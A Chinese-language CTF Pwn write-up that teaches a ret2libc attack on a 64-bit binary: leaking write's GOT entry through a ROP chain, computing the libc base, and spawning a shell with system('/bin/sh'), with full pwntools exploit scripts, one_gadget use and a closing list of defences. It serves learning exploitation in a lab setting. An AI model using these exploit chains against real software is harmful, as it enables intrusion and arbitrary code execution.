从CTF Pwn题实战解析:利用GOT泄露绕过ASLR构建ROP攻击链 📅 2026/7/22 13:01:47 1. 项目概述从一道CTF题到通用攻击链的构建最近在复盘一道经典的CTFCapture The FlagPwn题目时遇到了一个有趣的场景目标程序是一个开启了NXNo-eXecute保护、但没有开启PIEPosition-Independent Executable的64位ELF文件。程序本身功能简单存在一个明显的栈溢出漏洞但翻遍整个程序的GOTGlobal Offset Table表和字符串都找不到system函数或/bin/sh字符串的影子。更“抠门”的是程序甚至没有调用puts或printf这类能直接输出内容的函数只有write和read。题目提示是“利用libc泄露地址”这直接点明了核心思路——在没有现成“武器”的情况下我们需要自己从内存中“锻造”出执行任意命令的能力。这不仅仅是解一道题其背后是一套在真实漏洞利用中当目标环境受限时如何通过信息泄露Information Leak一步步构建完整攻击链的通用方法论。无论是CTF竞赛还是实际的安全研究理解并掌握这种“无中生有”的技巧都至关重要。2. 核心原理理解程序与libc的运行时绑定要完成这项任务我们必须先理解现代Linux程序是如何与共享库尤其是libc协同工作的。这不仅仅是调用函数那么简单而是关乎地址空间布局和动态链接的深层机制。2.1 动态链接与GOT/PLT表当我们编译一个使用了libc函数的C程序时编译器并不会将libc的代码直接塞进我们的可执行文件里。相反它采用了一种叫做动态链接Dynamic Linking的方式。在程序启动时动态链接器ld.so会将所需的共享库如libc.so.6映射到进程的地址空间中。那么程序中的call printf指令如何找到被映射到内存中某个随机位置的printf函数呢这里就引入了两个关键数据结构PLTProcedure Linkage Table过程链接表和GOTGlobal Offset Table全局偏移表。你可以把PLT看作是一个“跳转代理”。程序里所有调用printf的地方实际上都是调用printfplt。这个printfplt的第一条指令是jmp [GOT[n]]即跳转到GOT表中某个槽位存储的地址。在程序刚加载、函数第一次被调用前这个GOT槽位里存放的并不是printf的真实地址而是printfplt中下一条指令的地址即“压栈然后跳转到动态链接器”的代码。动态链接器会负责找到printf在内存中的真实地址并将其写回对应的GOT槽。之后任何对printf的调用通过PLT的jmp [GOT[n]]指令就会直接跳转到真实的libc函数地址了。关键点GOT表是可写的里面存储着已经被解析过的libc函数的绝对地址。如果我们可以读取GOT表的内容就能得到某个libc函数在内存中的运行时地址。2.2 地址空间布局随机化ASLR与信息泄露的价值现代操作系统为了增加漏洞利用的难度普遍启用了ASLR。这意味着每次程序运行时libc被加载到内存中的基地址libc_base是随机变化的。但是libc内部各个函数相对于这个基地址的偏移量offset在同一个libc版本中是固定的。这就引出了一个核心公式libc_function_address libc_base function_offset如果我们能通过某种方式比如读取GOT表泄露出任何一个已知的libc函数的运行时地址libc_function_address并且我们知道该函数在特定libc版本中的偏移量function_offset那么我们就可以计算出本次运行中libc的基地址libc_base libc_function_address - function_offset一旦得到了libc_base我们就可以计算出libc中任何其他函数的地址包括我们梦寐以求的system函数以及字符串/bin/sh的地址这个字符串通常也存储在libc的数据区。这就是“信息泄露”攻击的基石用已知的一点信息推算出整个“王国”的地图。2.3 目标程序分析我们有什么缺什么回到我们的实战场景。程序给了我们以下“资产”一个栈溢出漏洞允许我们覆盖返回地址控制程序执行流。可用的gadget由于没有开启PIE程序本身的代码段.text加载地址是固定的。我们可以用ROPgadget等工具在其中寻找有用的指令片段gadgets例如pop rdi; ret用于传递第一个参数、ret等。可用的函数write和read。write函数尤为重要因为它有三个参数文件描述符、缓冲区地址、长度可以用于将内存中的数据比如GOT表中的地址输出到标准输出实现信息泄露。read函数则可以用于向内存中写入数据比如第二次溢出时写入ROP链。我们缺失的“武器”是system函数的地址。/bin/sh字符串的地址。因此攻击路径非常清晰利用第一次溢出调用write泄露某个libc函数地址计算libc基址利用第二次溢出调用system(/bin/sh)。3. 攻击链第一步精心构造第一次ROP链泄露libc地址第一次溢出的目标不是直接getshell而是“探路”。我们需要精心设计一个ROP链调用write函数将GOT表中某个libc函数的地址打印出来。3.1 选择泄露目标函数并非所有GOT表中的函数都适合泄露。选择标准是该函数必须在程序中被调用过这样它的GOT项才已经被动态链接器填充为真实的libc地址。通常main函数中调用的函数是安全的。该函数在libc中的偏移量易于查找且稳定常用函数如write、read、puts、printf、__libc_start_main等都是好选择。在我们的例子中程序调用了write和read。选择泄露write的GOT地址是一个自然的选择因为我们接下来马上要利用它。我们可以用objdump -R ./target或readelf -r ./target命令查看GOT表项找到write的GOT地址例如0x601018。3.2 构造x86_64下的ROP链调用write在64位Linux下函数调用遵循System V AMD64 ABI约定前六个整数或指针参数依次通过寄存器RDI,RSI,RDX,RCX,R8,R9传递。write的函数签名是ssize_t write(int fd, const void *buf, size_t count)。fd文件描述符标准输出是1所以RDI 1。buf缓冲区地址我们想泄露writegot.plt的地址所以RSI write_got例如0x601018。count长度一个地址在64位下是8字节所以RDX 8。因此我们需要一组gadgets来设置这些寄存器然后跳转到writeplt执行。假设我们在程序中找到了以下gadgets通过ROPgadget --binary ./targetpop rdi; ret地址在0x4007c3pop rsi; pop r15; ret地址在0x4007c1注意这里pop r15是“副作用”我们需要给r15也填充一个无关值设置rdx稍微麻烦可能没有直接的pop rdx; ret。我们可以寻找其他gadget例如pop rdx; pop rbx; ret或者利用__libc_csu_init中的通用gadget万能gadget。这里假设我们找到了pop rdx; ret在0x4006fe。那么第一次的ROP链 payload1 构造如下假设溢出点覆盖返回地址padding 0x4007c3 (pop rdi; ret) 1 0x4007c1 (pop rsi; pop r15; ret) 0x601018 (write_got) 0xdeadbeef (填充r15) 0x4006fe (pop rdx; ret) 8 0x400520 (writeplt) 0x400610 (main_addr or a function to re-execute the vulnerable code)解释padding填满栈缓冲区直到覆盖返回地址。返回地址被覆盖为0x4007c3(pop rdi; ret)。执行后rdi 1栈指针rsp指向下一个地址。ret跳转到0x4007c1(pop rsi; pop r15; ret)。执行后rsi 0x601018(write_got)r15 0xdeadbeef垃圾数据。ret跳转到0x4006fe(pop rdx; ret)。执行后rdx 8。ret跳转到0x400520(writeplt)。此时rdi1, rsi0x601018, rdx8条件满足执行write(1, write_got, 8)将write函数在libc中的真实地址输出到屏幕。write函数返回后其返回值写入的字节数存放在rax我们需要清理栈并让程序能再次进入漏洞点。因此我们让ROP链最后跳回main函数地址0x400610或者另一个包含漏洞的函数为第二次溢出做准备。注意跳回main可能会导致一些全局变量或文件描述符状态重置在某些程序中可能有问题。更稳健的做法是跳回一个特定的、能再次触发漏洞的函数或者利用read函数读入第二次的payload。这需要具体分析程序逻辑。3.3 接收并计算libc基址当发送payload1后程序会输出8个字节的数据。我们需要在攻击脚本中接收这8个字节并将其解包为一个64位整数注意小端序。# 假设使用pwntools库 from pwn import * p process(./target) # ... 发送payload1 ... leak_data p.recv(8) # 接收write函数地址 write_addr u64(leak_data.ljust(8, b\x00)) # 解包 # 查找libc版本并获取偏移量 # 方法1如果已知libc版本直接使用 libc ELF(./libc.so.6) # 本地已知libc文件 libc_base write_addr - libc.symbols[write] system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh\x00)) # 方法2使用在线数据库或工具如DynELF但更常用的是直接查 # 在实际CTF中通常会提供libc文件或者通过泄露多个地址来匹配确定libc版本。 print(fLeaked write address: {hex(write_addr)}) print(fCalculated libc base: {hex(libc_base)}) print(fSystem address: {hex(system_addr)}) print(f/bin/sh address: {hex(binsh_addr)})4. 攻击链第二步利用泄露信息构造最终攻击拿到libc_base后我们就拥有了“武器库”。第二次溢出的目标就是调用system(/bin/sh)。4.1 构造最终的ROP链调用system这次构造简单很多只需要设置rdi为/bin/sh的地址然后跳转到system的地址。padding2 0x4007c3 (pop rdi; ret) binsh_addr system_addr注意这里的system_addr和binsh_addr是我们在上一步计算出来的libc中的地址。padding2需要再次填满缓冲区直到覆盖返回地址。由于我们第一次ROP链最后跳回了main或漏洞函数程序会重新执行我们可以再次通过输入触发溢出发送payload2。4.2 完整攻击脚本示例将两步结合起来一个完整的利用脚本使用pwntools框架如下#!/usr/bin/env python3 from pwn import * context.binary ./target context.log_level debug p process(./target) # 本地 # p remote(靶机地址, 端口) # 远程 # 第一步泄露write地址 elf ELF(./target) pop_rdi 0x4007c3 pop_rsi_r15 0x4007c1 pop_rdx 0x4006fe # 假设的gadget实际需要查找 write_plt elf.plt[write] write_got elf.got[write] main_addr elf.symbols[main] # 构造payload1 offset 40 # 缓冲区到返回地址的偏移需要通过调试确定 payload1 bA * offset payload1 p64(pop_rdi) p64(1) payload1 p64(pop_rsi_r15) p64(write_got) p64(0) # r15填0 payload1 p64(pop_rdx) p64(8) payload1 p64(write_plt) payload1 p64(main_addr) # 跳回main准备第二次输入 p.sendlineafter(bsome prompt, payload1) # 根据实际交互调整 leak p.recv(8) write_addr u64(leak.ljust(8, b\x00)) log.success(fwrite address: {hex(write_addr)}) # 计算libc基址和关键地址假设使用提供的libc libc ELF(./libc.so.6) libc_base write_addr - libc.symbols[write] system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh\x00)) log.success(flibc base: {hex(libc_base)}) log.success(fsystem address: {hex(system_addr)}) log.success(f/bin/sh address: {hex(binsh_addr)}) # 第二步调用system(/bin/sh) payload2 bA * offset payload2 p64(pop_rdi) p64(binsh_addr) payload2 p64(system_addr) p.sendlineafter(bsome prompt, payload2) # 再次触发漏洞 # 获取shell p.interactive()5. 高级技巧与疑难问题排查在实际操作中事情很少一帆风顺。下面分享一些踩坑后总结的经验。5.1 Gadget不全或找不到pop rdx怎么办这是64位ROP中最常见的问题之一。rdx作为第三个参数寄存器专用的pop rdx; retgadget有时确实难找。除了继续用更复杂的ROPgadget参数搜索还有以下备选方案利用__libc_csu_init中的“万能gadget”在程序的__libc_csu_init函数末尾通常存在一段非常强大的gadget序列可以一次性设置rdx,rsi,edirdi的低32位寄存器。你需要仔细分析这段汇编构造合适的栈布局来利用它。这是解决复杂参数传递的终极武器之一。换用其他函数泄露如果write需要rdx而找不到gadget可以看看程序是否调用了puts或printf。puts只需要一个参数字符串地址我们可以泄露putsgot的地址。printf虽然参数复杂但可以用%s格式字符串配合可控的缓冲区来泄露这引入了格式化字符串漏洞的利用思路。使用read函数进行“栈迁移”或“ROP链拼接”如果程序有read我们可以先泄露一个地址然后利用read将更长的ROP链可能包含设置rdx的复杂操作读到内存中一个已知且可执行的位置如.bss段再跳转过去执行。这需要结合内存布局和可写可执行区域的知识。5.2 泄露的地址总是错位或程序崩溃栈对齐问题Stack Alignment在x86_64的System V ABI中call指令执行时要求栈指针rsp在进入函数时是16字节对齐的即rsp % 16 0。某些libc函数特别是system对此要求严格。如果你的ROP链跳转到system时程序崩溃很可能是因为栈没有对齐。解决方法是在跳转前增加一个retgadget地址通常很好找例如0x4006be。一个ret指令相当于pop rip它会将rsp加8从而调整对齐。... p64(pop_rdi) p64(binsh_addr) p64(ret_addr) p64(system_addr)接收数据不完整确保你的接收语句匹配程序输出。write(1, addr, 8)严格输出8字节但程序可能在此之前或之后有其他输出。使用p.recvuntil()或p.recvline()来精确过滤或者使用p.clean()清空缓冲区后再接收。偏移量计算错误务必确认你使用的libc版本与靶机上的完全一致。不同版本如Ubuntu 18.04的libc-2.27和Ubuntu 20.04的libc-2.31的函数偏移量可能不同。在CTF中通常提供libc文件在真实环境中可能需要通过泄露两个或多个函数地址来在数据库中匹配确定libc版本例如使用libc-database工具。5.3 程序没有明显输出函数只有read/write怎么办这正是我们案例中的情况。write本身就是输出函数完全可以用于泄露。如果连write都没有只有read那情况就更棘手通常意味着需要更复杂的利用链例如利用read的返回值read返回读取的字节数到rax。虽然不能直接输出内存但可以通过影响rax的值结合后续的条件判断或计算gadget间接推断出信息这属于侧信道攻击难度极高。寻找其他信息泄露途径检查程序是否在出错时有exit状态码反馈或者是否能通过read覆盖某些关键数据如FILE结构体在后续操作中触发异常并泄露信息这需要对程序逻辑有更深的理解。利用stdout/_IO_FILE结构体高级技巧通过篡改stdout或stderr相关的FILE结构体使得后续哪怕调用puts或printf即使程序没直接调用但libc内部可能会用时将数据输出到我们控制的文件描述符或缓冲区。5.4 关于“one-gadget”的替代方案在获取了libc基址后除了调用system(/bin/sh)还有一种更简洁的武器叫做“one-gadget”。这是libc中一些特殊的、执行execve(/bin/sh, NULL, NULL)的指令序列。只要满足特定的寄存器或栈状态条件例如rsp0x70为NULL跳转到它就能直接getshell。你可以用one_gadget工具查找目标libc中的one-gadget。one_gadget ./libc.so.6如果运气好程序状态恰好满足某个one-gadget的条件那么第二次ROP链就可以简化为直接跳转到libc_base one_gadget_offset。这比构造system调用更稳定避免了/bin/sh字符串地址可能包含坏字符的问题和简洁。但它的约束条件往往比较苛刻需要反复尝试和调试。6. 实战心得与防御启示经过多次实战我深刻体会到这种“泄露-计算-攻击”的模式是现代漏洞利用的常态。防御方开发者可以从中学到以下几点强化地址随机化确保PIE位置无关可执行文件被启用这样程序本身的代码段地址也是随机的攻击者难以找到稳定的gadgets。部署控制流完整性CFI如Shadow Stack等机制可以严格限制程序执行流只能跳转到预先设定好的合法地址极大增加ROP链构建的难度。使用只读重定位RELRO开启Full RELRO使得GOT表在动态链接完成后变为只读防止攻击者篡改GOT表虽然本文主要利用的是读取GOT但写GOT也是常见攻击手段。谨慎使用危险函数对write、read这类能读写内存的函数进行严格的边界检查杜绝溢出。及时更新libc新版本的libc可能会引入新的安全机制或改变内存布局增加利用难度。而对于攻击方安全研究员这个实战过程锻炼的是一种“资源受限环境下的问题解决能力”。它要求你像侦探一样仔细审计程序给出的每一点线索函数、gadget、漏洞点像工程师一样用有限的“零件”组装出功能完整的“机器”。每一次成功的利用都是对程序运行时状态、操作系统机制和计算机体系结构理解的一次深化。记住没有绝对安全的系统只有尚未被发现的攻击路径。